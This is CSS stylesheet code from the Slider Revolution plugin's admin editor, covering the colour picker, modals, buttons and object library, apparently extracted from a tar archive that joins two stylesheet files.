background: #343639;color: #777c80; font-size: 13px; font-weight: 500; text-transform: capitalize; padding:6px 15px; margin-bottom:5px} #revbuilder-cpicker .ddTP_C { vertical-align: top; margin-right: 0; box-sizing: content-box; padding-right: 0; height:31px; font-weight: 500} #revbuilder-cpicker .ddTP_C.ddTP_C--nomargin { margin-right: 0px; } /* #revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow { height: 50px; } */ #revbuilder-cpicker .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 17px; color: #797b7e; background: transparent } #revbuilder-cpicker .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top; margin-left: 10px } #revbuilder-cpicker .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color: #797b7e transparent transparent transparent } #revbuilder-cpicker .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b {border-color: #b7bbc0 transparent transparent !important} #revbuilder-cpicker .ddTP_C.ddTP_C--open:hover .ddTP_S--single .ddTP_S__arrow b { border-color: transparent transparent #b7bbc0 transparent !important} #revbuilder-cpicker .ddTP_C:hover .ddTP_S__rendered { color: #FFF !important; } /* BLUE STYLE */ #revbuilder-cpicker .ddTP_C.ddTP_C--blue { width: 100% !important; background: #00529d; line-height: 20px; border-radius: 4px; box-sizing: border-box; height: auto; padding:0px !important; margin:0px;} #revbuilder-cpicker .ddTP_C.ddTP_C--blue .selection, #revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S{ width: 100% !important; } #revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_SCH__field { color: #fff !important; line-height: 20px; } #revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 12px; color: #fff; background: transparent } #revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered { color:#fff; line-height: 20px; vertical-align: top ; } #revbuilder-cpicker .ddTP_C--blue .ddTP_S--single .ddTP_S__rendered { color:#fff; line-height: 22px; vertical-align: top ; padding:5px 10px 0px; display: block} #revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice { color:#fff; line-height: 20px; vertical-align: top; background: #006dd2; border-radius: 4px; border: none; } #revbuilder-cpicker .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice__remove { color:#fff; line-height: 20px; vertical-align: top; } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--below, .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--above { width: 290px !important; min-width:290px; background: #006dd2; margin-left:-5px; margin-top:5px;} .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_ROs { } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO { color: rgba(255,255,255,0.65); } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted { background: #00529c; color: #fff; } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .ddTP_C .ddTP_RO[aria-selected=true] { background: #1a7cd7;color: #fff; } /* #revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow { height: 30px; ;} */ #revbuilder-cpicker .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--blue .ddTP_SCH--dropdown .ddTP_SCH__field { background: #00529d; color: #fff; } /* AUTOWIDTH CHANGES */ .revbuilder-colorpicker-open .ddTP.ddTP_C.ddTP_C--autowidth { width: auto !important; } .revbuilder-colorpicker-open .ddTP_C.ddTP_C--autowidth .ddTP-dropdown { min-width: 150px; } .revbuilder-cpicker-dropdown {display: none} /*.clearfix {clear: both}*/ .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } #revbuilder-cpicker-left { direction: ltr !important } /************************************ - COLORPICKER GLOBAL SETTINGS - ************************************/ #revbuilder-cpicker-gactive { line-height: 30px; color: #fff; font-weight: 900; font-size: 14px; text-transform: uppercase; display: inline-block; margin-right: 15px; width: 185px; text-align: right; } #revbuilder-cpicker-globals { line-height:30px; vertical-align:top; display:block; position: relative; background:#323438; height:30px; padding:20px 28px;border-top:1px solid #3f444a;} #inp_SkinPicker { display: inline-block } .skin_mini_color { width: 15px; height: 15px; border-radius: 4px; display: inline-block;margin-right: 10px; margin-top: 2px; vertical-align: top; } .ddTP.ddTP_C.ddTP-fake .skin_mini_color { margin-top: 7px; } #revbuilder-cpicker-globals .tponoffwrap.off .tponoff_inner { transform: translateX(0px); } #edit_skin_colors i.material-icons { line-height: 30px !important; vertical-align: top; } admin/assets/css/basics.css000060400000277207151724235750011732 0ustar00/************************************************ * REVOLUTION 6.0.0 BASIC RS EDITOR CLASSES * @version: 1.2 (13.12.2017) * @author ThemePunch ************************************************/ /*@import url('https://fonts.googleapis.com/css?family=Roboto:300,400,500,700,900');*/ .rb-modal-wrapper, #rbm_optimizer_infos_wrap, #rbm_optimizer, ._TPRB_, #objectlibrary { font-family: "Roboto" } #rb_the_logo { /*display: inline-block; line-height: 50px; color: #777c80; font-size: 16px; font-weight: 900; text-align: center*/ width: 50px;height: 50px; background:url(../images/wplogo.png); background-size:30px 30px; background-repeat: no-repeat; background-position: center; cursor: pointer } .rs_fh_right * {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;} ._TPRB_ .div5 { display: block;height: 5px;width: 100%; } ._TPRB_ .div7 { display: block;height: 7px;width: 100%; } ._TPRB_ .div10 { display: block;height: 10px;width: 100%; } ._TPRB_ .div15 { display: block;height: 15px;width: 100%; } ._TPRB_ .div20 { display: block;height: 20px;width: 100%; } ._TPRB_ .div25 { display: block;height: 25px;width: 100%; } ._TPRB_ .div30 { display: block;height: 30px;width: 100%; } ._TPRB_ .div35 { display: block;height: 35px;width: 100%; } ._TPRB_ .div40 { display: block;height: 40px;width: 100%; } ._TPRB_ .div45 { display: block;height: 45px;width: 100%; } ._TPRB_ .div50 { display: block;height: 50px;width: 100%; } ._TPRB_ .div55 { display: block;height: 55px;width: 100%; } ._TPRB_ .div60 { display: block;height: 60px;width: 100%; } ._TPRB_ .div65 { display: block;height: 65px;width: 100%; } ._TPRB_ .div75 { display: block;height: 75px;width: 100%; } ._TPRB_ .div100 { display: block;height: 100px;width: 100%; } ._TPRB_ .div500 { display: block;height: 500px;width: 100%; } ._TPRB_ .div150 { display: block;height: 150px;width: 100%; } /* SEARCH TEXT */ .rs_overview input.flat_input, #rb_tlw #addon_overviewheader_wrap input.flat_input { font-size: 20px; color:#fff; background: none; border: none; outline:none; box-shadow: none; font-weight: 500; line-height:50px; padding: 0px; margin: 0px; vertical-align: top } #rb_tlw #addon_overviewheader_wrap input.flat_input { height: 50px;} .rs_overview input.flat_input::-webkit-input-placeholder { color: #fff;} .rs_overview input.flat_input::-moz-placeholder { color: #fff;} .rs_overview input.flat_input:-ms-input-placeholder { color: #fff;} .rs_overview input.flat_input:-moz-placeholder { color: #fff;} .rs_overview input.flat_input:hover::-webkit-input-placeholder { color: #fff !important;} .rs_overview input.flat_input:hover::-moz-placeholder { color: #fff !important; } .rs_overview input.flat_input:hover:-ms-input-placeholder { color: #fff !important;} .rs_overview input.flat_input:hover:-moz-placeholder { color: #fff !important;} .rs_overview input.flat_input:focus::-webkit-input-placeholder { color: transparent !important;} .rs_overview input.flat_input:focus::-moz-placeholder { color: transparent !important; } .rs_overview input.flat_input:focus:-ms-input-placeholder { color: transparent !important;} .rs_overview input.flat_input:focus:-moz-placeholder { color: transparent !important;} /* CODE INPUT */ .rs_overview input.codeinput { font-size: 17px; color:#fff; background: none; border: 1px solid #323438; outline:none; box-shadow: none; font-weight: 500; line-height:50px; padding: 0px 20px; width:100%;} .rs_overview input.codeinput::-webkit-input-placeholder { color: #b7bbc0;} .rs_overview input.codeinput::-moz-placeholder { color: #b7bbc0;} .rs_overview input.codeinput:-ms-input-placeholder { color: #b7bbc0;} .rs_overview input.codeinput:-moz-placeholder { color: #b7bbc0;} .rs_overview input.codeinput:hover::-webkit-input-placeholder { color: #fff !important;} .rs_overview input.codeinput:hover::-moz-placeholder { color: #fff !important; } .rs_overview input.codeinput:hover:-ms-input-placeholder { color: #fff !important;} .rs_overview input.codeinput:hover:-moz-placeholder { color: #fff !important;} .rs_overview input.codeinput:focus::-webkit-input-placeholder { color: transparent !important;} .rs_overview input.codeinput:focus::-moz-placeholder { color: transparent !important; } .rs_overview input.codeinput:focus:-ms-input-placeholder { color: transparent !important;} .rs_overview input.codeinput:focus:-moz-placeholder { color: transparent !important;} /* AUTOWIDTH CHANGES */ .rs_fh_left { float:left; line-height: 50px; vertical-align: top } .rs_fh_right { float: right; text-align: right; line-height: 50px; vertical-align: top} #register_trustpilot_wrap { padding: 30px 30px; background:#2a2c2f; border-radius: 4px; margin-bottom:100px; display: none; position:relative; } .thicon { width:32px; height:31px; background-image:url(../images/thicon.png); background-repeat:no-repeat; background-size:32px 31px; background-position:center;line-height: 31px;vertical-align: top; display:inline-block; margin:0px 0px 0px 5px; } #register_trustpilot_wrap a.purplesmallbutton, #register_trustpilot_wrap a.purplesmallbutton:visited { padding:0px 35px; background: #5d34af; line-height: 40px !important; color: #fff !important; font-size: 15px; font-weight: 500; cursor: pointer; border-radius: 4px; text-decoration: none !important; display: inline-block; outline:none !important; box-shadow: none !important; } #register_trustpilot_wrap a.purplesmallbutton:hover { filter:brightness(110%); } #register_trustpilot_wrap h3.pli_title { text-align:left; margin-bottom:0px; display:inline-block; color:#b7bbc0; } .rs_trustpilot_bg { width:101px; height:40px; background-image:url(../images/trustpilot.png); background-repeat:no-repeat; background-size:contain; background-position:0px 3px;line-height: 40px;vertical-align: top; display:inline-block; margin:0px 0px 0px 10px; } #trust_closer { position: absolute; top:0px; right:0px; padding:20px;cursor: pointer; } #trust_closer:hover { filter:brightness(110%)} #trust_closer i.material-icons { color:#b7bbc0; font-size: 25px;} #register_trustpilot_wrap .pli_left { border:none;} #register_trustpilot_wrap .pli_right { border:none; padding-left:0px} @media only screen and (max-width: 820px) { #register_trustpilot_wrap .pli_right { margin-top:30px} } /********************************** - REVOLUTION BUTTON BAISCS - ***********************************/ ._TPRB_ .basic_action_coloredbutton, ._TPRB_ .basic_action_button { text-decoration:none; text-align:left;background: #3a3e44; width:160px; color: #b7bbc0;line-height: 30px; padding: 0px 15px; font-size: 13px; font-weight: 400; display: inline-block; box-sizing: border-box; margin-bottom: 10px; cursor: pointer; vertical-align: top; border-radius: 3px} ._TPRB_ .basic_action_button:focus { outline: none; box-shadow: none; } ._TPRB_ .basic_action_button.disabled { pointer-events: none; background: #35383d; color: rgba(183,187,192,0.4); } ._TPRB_ .basic_action_button.disabled i { color: rgba(183,187,192,0.4);} ._TPRB_ .basic_action_coloredbutton.longbutton, ._TPRB_ .basic_action_button.longbutton { width: 185px; text-align: center; } ._TPRB_ .basic_action_coloredbutton.fullbutton, ._TPRB_ .basic_action_button.fullbutton { width: 100%; text-align: center; } ._TPRB_ .basic_action_coloredbutton.autosize, ._TPRB_ .basic_action_button.autosize { width: auto; margin-right: 5px; } ._TPRB_ .basic_action_coloredbutton.rightbutton, ._TPRB_ .basic_action_button.rightbutton { float: right; margin-right: 0px } ._TPRB_ .basic_action_coloredbutton i, ._TPRB_ .basic_action_button i { color: #b7bbc0;font-size: 17px; margin-right: 10px;line-height: inherit } ._TPRB_ .basic_action_coloredbutton { color: #fff; background: #006dd2 } ._TPRB_ .basic_action_lilabutton:focus, ._TPRB_ .basic_action_lilabutton:visited, ._TPRB_ .basic_action_lilabutton { color: #fff; background: #5e35b1 } ._TPRB_ .basic_action_lilabutton i { color: #fff; } ._TPRB_ .dark_action_button { background: #2a2c2f; } ._TPRB_ .big_purple_linkbutton { line-height: 70px; width: 100%; background: #5d36ad; color: #fff; font-weight: 300;cursor: pointer; font-size: 20px; text-align: center } ._TPRB_ .big_purple_linkbutton b { font-weight: 500; } ._TPRB_ .big_purple_linkbutton:hover { filter: brightness(110%); } ._TPRB_ .basic_action_coloredbutton:hover, ._TPRB_ .basic_action_coloredbutton.selected { background: #0b5fab; } ._TPRB_ .basic_action_coloredbutton i { color: #fff; } ._TPRB_ .basic_action_button:hover, ._TPRB_ .basic_action_button.selected { color: #fff; background: #006dd2; } ._TPRB_ .basic_action_button.errorcopy { transition:0.4s all; border-color: #f82c90 !important; color:#f82c90 !important;} ._TPRB_ .basic_action_button:hover i { color: #fff; } ._TPRB_ .basic_action_lilabutton:hover { background: #5e35b1;filter: brightness(110%) } ._TPRB_ .large_actionbutton.basic_action_coloredbutton { line-height: 50px; font-size: 17px; font-weight: 500; padding:0px 45px; border:none; background:#006dd2; min-width: 160px; text-align: center} ._TPRB_ .large_actionbutton.basic_action_button { line-height: 50px; font-size: 17px; font-weight: 500; padding:0px 45px; border:none; background:#2a2c2f; min-width: 160px; text-align: center} ._TPRB_ .basic_action_coloredbutton:hover { filter: brightness(110%);} /********************************** - REVOLUTION BUILDER MODAL - ***********************************/ .rbm_deco {position:absolute; z-index:100;} #rbm_tracking_firstgo { width:680px; height:700px; background-image:url(../images/tracking/bg.jpg);background-size:cover;background-position:top center; background-repeat:no-repeat} #rbm_tracking_firstgo .rbm_des_rocket { width:185px; height:181px; top:-75px; left:0px; background-image:url(../images/tracking/rocket.png);background-size:contain;background-position:center center; background-repeat:no-repeat} #rbm_tracking_firstgo .rbm_des_charts { width:159px; height:167px; top:81px; left:489px; background-image:url(../images/tracking/charts.png);background-size:contain;background-position:center center; background-repeat:no-repeat; } #rbm_tracking_firstgo .rbm_des_rsicon { width:50px; height:50px; top:120px; left:315px; background-image:url(../images/tracking/rsicon.png);background-size:contain;background-position:center center; background-repeat:no-repeat;box-shadow:0px 30px 50px rgba(0,0,0,0.25)} #rbm_notactive_warning, #rbm_notactiveaddon_warning { width:680px; background-color:#202224; background-image:url(../images/warningbg.jpg);background-size:contain;background-position:top center; background-repeat:no-repeat} #rbm_notactiveaddon_warning .rbm_content, #rbm_notactive_warning .rbm_content { padding:50px 40px;} #rbm_tracking_firstgo .rbm_content{ padding:75px 40px 50px;} #rbm_tracking_firstgo .mcg_page_title, #rbm_notactiveaddon_warning .mcg_page_title, #rbm_notactive_warning .mcg_page_title { margin-bottom:10px; line-height:30px; font-size:25px; font-weight:500} #rbm_notactive_warning .simpletext.smalllink, #rbm_notactive_warning .simpletext a.smalllink, #rbm_tracking_firstgo .simpletext.smalllink, #rbm_tracking_firstgo .simpletext a.smalllink, #rbm_notactiveaddon_warning .simpletext.smalllink, #rbm_notactiveaddon_warning .simpletext a.smalllink{ font-size:14px; line-height:30px; color:#7b7c7d; } #rbm_notactiveaddon_warning .simpletext.smalllink:hover, #rbm_notactiveaddon_warning .simpletext a.smalllink:hover, #rbm_tracking_firstgo .simpletext.smalllink:hover, #rbm_tracking_firstgo .simpletext a.smalllink:hover, #rbm_notactive_warning .simpletext a.smalllink:hover, #rbm_notactive_warning .simpletext.smalllink:hover { color:#fff} #rbm_tracking_firstgo .simpletext, #rbm_notactive_warning .simpletext, #rbm_notactiveaddon_warning .simpletext { font-size:14px; line-height: 20px; font-weight:400; color:#7b7c7d; opacity:1;} .dr_warningbox { background:#2a2c2f; display:block; padding:20px 25px; box-sizing: border-box;text-align: center; } .tracking_content_box { padding:55px; background:#2a2c2f; margin-top:108px; text-align: center;} .tracking_content_box .mcg_page_subtitle { font-size:17px; line-height:23px; color:#fff; font-weight:400;} .dr_warningbox .mcg_page_subtitle { font-size:17px; line-height:20px; color:#fff; font-weight:400;} .tracking_content_box .mcg_page_content, .dr_warningbox .mcg_page_content { font-size:14px; line-height:20px; color:#fff; opacity:0.5;font-weight:400;} .dr_warningbox .material-icons { line-height:20px; font-size:25px;} .tracking_content_box .mcg_page_content { margin-top:25px; font-weight:400} #rbm_notactive_warning .mcg_page_title.warningtext {margin-bottom:0px; color:#ff2021} .warningicon { color:#ff2021} .bigredwarning, .bigyellowwarning { text-align: center; display: block; margin-bottom:22px} .bigredwarning .material-icons, .bigyellowwarning .material-icons { display:inline-block; border-radius:50%; padding:0px 10px; background:#ff2021; color:#fff; font-size:40px; line-height:60px !important} .bigyellowwarning .material-icons { background:#ffb818} .deactivated_addon { background:#2a2c2f; padding:10px 20px; text-align: left;margin-bottom:1px; position: relative;} #list_of_deactivated_addons {max-height: 230px;overflow: hidden;position: relative;} .de_add_stitle { font-size:14px; line-height:25px; font-weight:500; color:#fff; width:210px; display:inline-block;} .de_add_needs { font-size:13px; line-height:25px; font-weight:500; color:#ffb818; width:auto; display:inline-block; margin-left:20px; margin-right:5px; vertical-align: top;;} .de_add_needs_adds { font-size:13px; line-height: 25px; font-weight: 500; color:#b7bbc0; width:auto; display: inline-block; width:215px; margin-right:10px; overflow:hidden; vertical-align: top;;} .de_add_fix { padding:0px 15px; border-radius:4px; background:#3a3e44; font-size:13px; line-height: 25px; font-weight: 500; color:#b7bbc0; width:auto; display: inline-block;position: absolute; right:20px; top:10px; cursor:pointer} .de_add_fix:hover {background:#006dd2; color:#fff;} #rbm_notactive_warning .bluebutton, #rbm_notactiveaddon_warning .bluebutton, #rbm_notactive_warning purplebutton, #rbm_notactiveaddon_warning purplebutton { padding: 0px 35px; line-height: 35px !important; color: #fff !important; font-size: 15px; font-weight: 500; cursor: pointer; border-radius: 4px; text-decoration: none !important; display: inline-block; width:auto !important; } graybutton#rbm_track_disable, purplebutton#rbm_track_enable { font-weight: 500; width:150px; line-height: 35px; padding:0px 25px; font-size: 15px; } purplebutton#rbm_track_enable:hover, #rbm_notactiveaddon_warning .bluebutton:hover, #rbm_notactive_warning .bluebutton:hover, #rbm_notactiveaddon_warning purplebutton:hover, #rbm_notactive_warning purplebutton:hover {filter:brightness(110%); } #rbm_notactive_warning .bluebutton, #rbm_notactiveaddon_warning .bluebutton { background:#006dd2;} #rbm_notactive_warning .rbm_header.ui-draggable-handle, #rbm_notactiveaddon_warning .rbm_header.ui-draggable-handle { overflow: visible;} #rb_modal_underlay {position: fixed; background: rgb(50,52,56); opacity:0; width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; display: none; } .rb-modal-wrapper {display: none;opacity: 0;position: fixed;left: 0;top: 0;width: 100%;height: 100%;z-index: 1000000;} #rbm_optimizer_infos_wrap { z-index: 1000001; } #rbm_optimizer_infos { width: 500px; } .rb-modal-wrapper .rb-modal-inner { position: relative;width: 100%;height: 100%;} .rb-modal-wrapper .rb-modal-content {position: absolute;top: 0;left: 0;width: 100%;height: 100%;} .rb-modal-wrapper .rb_modal {position: relative; width: 900px;margin: 0 auto;background: #323438; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);} .rb-modal-wrapper[data-modal="rbm_layer_metas"] { z-index:1000005 } .rb_modal.form_inner { padding: 0px !important; } ._TPRB_ .rbm_header { background:#2a2c2f; line-height:50px; padding:0px 20px; color:#b7bbc0; position: relative; cursor:move; white-space: nowrap; overflow: hidden;} ._TPRB_ i.rbm_symbol.material-icons { line-height: 50px; font-size: 20px; margin-right: 15px; } ._TPRB_ i.rbm_close.material-icons { line-height: 50px; width: 50px; position: absolute; right: 0px; top: 0px; text-align: center; display: block; font-size: 25px; color: #b7bbc0; cursor: pointer;} ._TPRB_ .rbm_title { line-height: 50px; font-size: 15px; font-weight: 500; vertical-align: top;} ._TPRB_ .rbm_darkbutton { display: inline-block; width:100%; line-height: 40px; text-align: center; color:#b7bbc0; font-size:13px; background: #3a3e44; margin-top:1px; box-sizing: border-box; cursor:pointer;} ._TPRB_ .rbm_darkbutton i.material-icons { color: inherit; margin-right:10px; font-size: 20px } ._TPRB_ .rbm_darkbutton:hover { color: #fff; background: #006dd2; } ._TPRB_ .rbm_content_left, ._TPRB_ .rbm_content_right { min-width: 50%; max-width:50%; width:50%; box-sizing: border-box; display: block; height: 100%; display: table-cell; position: relative; } ._TPRB_ .rbm_content_left { border-right: 1px solid #2a2c2f; } #rbm_layer_action.inpickermode .rbm_content_left { pointer-events: none !important } #rbm_preview { width: 1240px; height: 680px; } ._TPRB_ .rbm_preview_sizes, ._TPRB_ .rbm_subtitle { margin-left: 20px; border-left: 1px solid #323438; padding-left: 20px; display: inline-block; line-height: 50px; width: 140px; overflow: hidden; white-space: nowrap} ._TPRB_ .rbm_subtitle i.material-icons { color: #026dd2; font-size: 17px; margin-right: 10px; } ._TPRB_ .rbm_preview_sizes i.material-icons { color: #777c80; margin-right: 10px; cursor: pointer; font-size: 20px} ._TPRB_ .rbm_preview_sizes i.material-icons:hover, ._TPRB_ .rbm_preview_sizes i.material-icons.selected { color: #fff; } #rbm_preview .rbm_content { position: absolute;width: 100%;height: 100%;top:50px; left: 0px; } #rbm_preview_live { overflow: hidden;position: absolute;width: 100%;height:100%;} #rbm_quickguide, #rbm_quickguide .rbm_content { width: 1200px; } #rbm_quickguide .rbm_content { position: relative; height:750px; overflow: hidden} #rbm_globalsettings{ width: 1000px; min-height: 900px; } #rbm_globalfontsettings{ width: 860px;} #rbm_decisionModal { width: 500px; min-height: 300px; } #rbm_globalfontsettings .rbm_content, #rbm_globalsettings .rbm_content, #rbm_blocksettings .rbm_content, #rbm_decisionModal .rbm_content { padding: 50px; } .rbm_general_half { width: 50%;position: relative; display: inline-block; vertical-align: top; box-sizing: border-box } #rbm_welcomeModal { width: 1200px; } #rbm_welcomeModal .rbm_content{ background-image:url(../images/wc.jpg); background-position:top center; background-repeat:no-repeat; background-color:#212226;} #welcome_logo { background: url(../images/wc_logo.png); background-size: contain; width:300px; height:100px; position: relative; margin:0px auto; display:block; margin-bottom:90px;} #rbm_globalsettings .rbm_content label_a { min-width: 225px; width: 225px; } .general_hr { width: 100%; height: 1px; border: none; margin-bottom: 20px; margin-top: 0px; background: #3f444a; } .rbm_darkhalfbutton { display: inline-block; width:195px; line-height: 32px; text-align: center; color:#b7bbc0; font-size:13px; background: #3a3e44; margin-top:1px; box-sizing: border-box; cursor:pointer; box-sizing: border-box; border-radius: 4px} .rbm_darkhalfbutton i.material-icons { color: inherit; margin-right:10px; font-size: 17px } .rbm_darkhalfbutton:hover { color: #fff; background: #006dd2; } .mcg_footer_content { z-index: 5; position: relative;width: 100%;height: 100%; padding: 20px 30px; box-sizing: border-box } .mcg_fotter_text { font-size: 14px;color: #777c80;line-height: 21px;display: inline-block;margin-left: 40px;padding: 20px 0px;font-weight: 500; max-width: 505px;} .mcg_fotter_text strong { color: #fff; } mcg_guide_image { width: 280px; height: 160px; background-position: top left; background-size: 280px 320px; display: block; position: relative; margin-bottom:35px;} .mcg_guide_optionwrap { position: relative; } .mcg_guide_optionwrap:hover mcg_guide_image, .mcg_guide_optionwrap.selected mcg_guide_image{ background-position: bottom left; } #rb_tlw .mcg_guide_optionwrap input[type=radio] { width: 100%;height: 100%; opacity: 0; border-radius: 0px; box-shadow: none; outline: none; position: absolute;top: 0px;left: 0px; z-index:10;} ._TPRB_ .my-color-field { display: none; } ._TPRB_ .guide_slider { background-image: url(../images/guide/guide_slider.jpg);} ._TPRB_ .guide_scene { background-image: url(../images/guide/guide_scene.jpg);} ._TPRB_ .guide_carousel { background-image: url(../images/guide/guide_carousel.jpg);} ._TPRB_ .guide_auto { background-image: url(../images/guide/guide_auto.jpg);} ._TPRB_ .guide_fullwidth { background-image: url(../images/guide/guide_fullwidth.jpg);} ._TPRB_ .guide_fullscreen { background-image: url(../images/guide/guide_fullscreen.jpg);} ._TPRB_ .guide_autoresponsive { background-image: url(../images/guide/guide_autoresponsive.jpg);} ._TPRB_ .guide_intelligent { background-image: url(../images/guide/guide_intelligent.jpg);} ._TPRB_ .guide_manual { background-image: url(../images/guide/guide_manual.jpg);} .rb-modal-wrapper[data-modal="rbm_layerimport"] { z-index: 500005 } .rb-modal-wrapper[data-modal="rbm_decisionModal"] { z-index: 1500010 } /*COPY RIGHT */ #rs_copyright { margin-left:260px; color:#7e8083; font-size:17px; cursor:pointer; display: inline-block} #rs_extra_objlib_info { margin-left: 20px;color:#7e8083; font-size: 17px; display: inline-block} #rs_extra_objlib_info i.material-icons { font-size: 13px } #rs_extra_objlib_info a, #rs_extra_objlib_info a:focus, #rs_extra_objlib_info a:visited { color: #fff !important; text-decoration: underline} #rs_extra_objlib_info a:hover { color: #fff; text-decoration: none } #rs_copyright:hover { color: #fff; } #upload_custom_files {background:#006dd2; color:#fff; cursor:pointer; position:absolute; width:250px; text-align:center; line-height:50px; font-size:17px; font-weight:500; position:absolute; left:0px; bottom:0px; z-index: 200} #upload_custom_files:hover { filter: brightness(110%); } /*COPY RIGHT PANELS*/ #rbm_copyright { width: 1000px; } #rbm_copyright .rbm_content_left { min-width: 250px;background: #323438;width: 250px;padding: 41px 40px;height: 600px; } #rbm_copyright .rbm_content_right { min-width: 250px;background: #212226;padding: 39px 50px; width:100%;height: 600px;} ._TPRB_ .copyright_sel { line-height: 39px; font-size: 17px; color: #797b7e; cursor: pointer ; vertical-align: top; font-weight: 500} ._TPRB_ .copyright_sel i { margin-right: 15px; line-height: inherit !important } ._TPRB_ .copyright_sel:hover, ._TPRB_ .copyright_sel.selected { color: #fff; } ._TPRB_ .crm_content_wrap { display: none; } ._TPRB_ .crm_content_wrap.selected { display: block; } ._TPRB_ .crm_title { font-size: 20px; font-weight: 500; color: #fff; line-height: 40px; margin-bottom:30px;} ._TPRB_ .crm_content { display: table; margin-bottom: 15px; } ._TPRB_ .crm_arrow { display: table-cell; width: 30px; max-width: 30px; line-height: 22px;vertical-align: top; color: #777c80; font-size: 20px; } ._TPRB_ .crm_text { display: table-cell; width: 100%; line-height: 22px; font-size: 14px; color: #777c80; font-weight: 400;} ._TPRB_ .crm_text b { color: #fff; font-weight: 500; } ._TPRB_ .crm_text a { color: #fff; font-weight: 400; text-decoration: underline; cursor: pointer; } ._TPRB_ .crm_text a:hover, ._TPRB_ .crm_text a:focus { text-decoration: none; color: #fff; outline:none; box-shadow: none; border:none;} ._TPRB_ .crm_info_text { line-height: 22px; color: #777c80; font-size: 12px; font-weight: 400; } ._TPRB_ .crm_infostar { line-height: 22px; vertical-align: top; display: inline-block; font-size: 12px } ._TPRB_ .crm_basic_button { color: #fff !important; margin-bottom: 20px; } ._TPRB_ .crm_basic_button:hover, ._TPRB_ .crm_basic_button:focus { color: #fff; } /* REST*/ ._TPRB_ .overview_header_footer, ._TPRB_ .overview_header { opacity: 0; visibility: hidden } ._TPRB_ .tp-clearfix {display: block;height: 0px;width: 100%;} ._TPRB_ .tp-clearfix { clear:both;} ._TPRB_ .tos2 { visibility: hidden; } /**************************** - BEGIN OBJECT LIBRARY - ****************************/ #objectlibrary .material-icons, .RS_Q_E .material-icons, ._TPRB_ .material-icons { font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: inherit; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; font-feature-settings: 'liga'; } #objectlibrary { -webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;-webkit-touch-callout: none;text-rendering: optimizeLegibility;} #objectlibrary .tponoffwrap.off .tponoff_inner { transform: translateX(0px); } #objectlibrary i.material-icons.reset_select { cursor: pointer; width: 25px;height: 25px;line-height: 25px !important;text-align: center;font-size: 17px !important; border-radius:3px; margin-top: 12px;color: #fff;background: #006dd2;display: inline-block;margin-right: 10px; display: none} #objectlibrary { z-index: 100002; position: fixed; width: 100%; height: 100%; top: 0px;left: 0px; background: #202224; display:none;} #ol_filters_wrap { width: 250px; height:100%; position: absolute; left: 0px; top: 0px; background: #323438; z-index: 45; } #rs_q_close, #ol_close { position: relative; vertical-align: top; text-align: center; color: #b7bbc0; cursor: pointer; z-index: 100000; font-size:30px;margin-left: 20px} #rs_q_close { position: absolute; top: 20px;right: 20px; } #rs_q_close:hover, #ol_close:hover { color: #fff; } #ol_results_wrap { width: 100%; height: 100%; top: 0px;left: 0px; z-index:30; box-sizing: border-box; overflow:hidden;position: relative} #ol_results { box-sizing: border-box; position: relative;} #ol_right { padding: 90px 0px 70px 300px; width:100%; height:100%; box-sizing: border-box; position: relative; overflow:hidden; z-index: 30} #ol_right_underlay { background: rgba(32,34,36,0.65); position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; z-index: 50; display: none; cursor: pointer} #ol_header { position: fixed; line-height: 50px; width: 100%; display: block; top:0px; left:0px; z-index:40; background:#202224; padding:10px 30px 10px 300px; box-sizing: border-box;} #ol_footer { position: fixed; line-height: 50px; width: 100%; display: block; bottom:0px; left:0px; z-index: 40; background:#202224; padding:10px 40px; box-sizing: border-box} #objectlibrary .rb_the_logo, .RS_Q_E .rb_the_logo { position:absolute; top:15px; left:15px; height:20px; line-height: 20px; color: #2d2e32; background: #fff; border-radius:4px; font-size: 17px; font-weight: 900; text-align: center ; z-index: 50; padding: 0px 5px;letter-spacing: -1px } .RS_Q_E .rb_the_logo { position:relative; top:0px; left:0px; font-weight: 900; padding: 0px 5px; display: inline-block;margin-right: 15px; vertical-align: top} #ol_filters { padding: 70px 20px 70px 40px; box-sizing: border-box; display: block; position: relative; height: 100%; width: 100%; overflow: hidden; } #searchobjects { font-size: 20px; color:#fff; background: none; border: none; outline:none; box-shadow: none; font-weight: 500; line-height:50px; padding: 0px; width: 350px; } #obj_fil_favorite, #obj_updatefromserver, #obj_addsliderasmodal { font-size: 17px; color: 